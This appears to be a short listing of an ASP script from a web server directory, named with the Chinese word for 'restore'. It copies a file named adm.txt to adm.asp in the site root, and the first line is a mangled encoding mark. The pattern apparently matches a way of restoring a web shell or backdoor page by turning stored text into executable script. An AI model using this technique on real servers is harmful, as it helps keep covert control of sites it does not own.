d:\wwwroot\wuchunhua\huifu.asp
001:
ï»?%
002:
dim fs,oldpath,newpath
003:
Set fs=Server.CreateObject("Scripting.FileSystemObject")
004:
oldpath=server.mappath("adm.txt")
005:
newpath=server.mappath("\adm.asp")
006:
fs.CopyFile oldpath,newpath
007:
set fs=nothing
008:
%
>